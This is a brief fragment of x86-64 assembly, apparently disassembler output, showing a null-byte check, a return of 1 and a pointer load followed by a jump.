cmp byte [rax], 0
je 0x40db98
mov eax, 1
ret
mov rcx, qword [rcx + 0x118]
jmp 0x40a7e0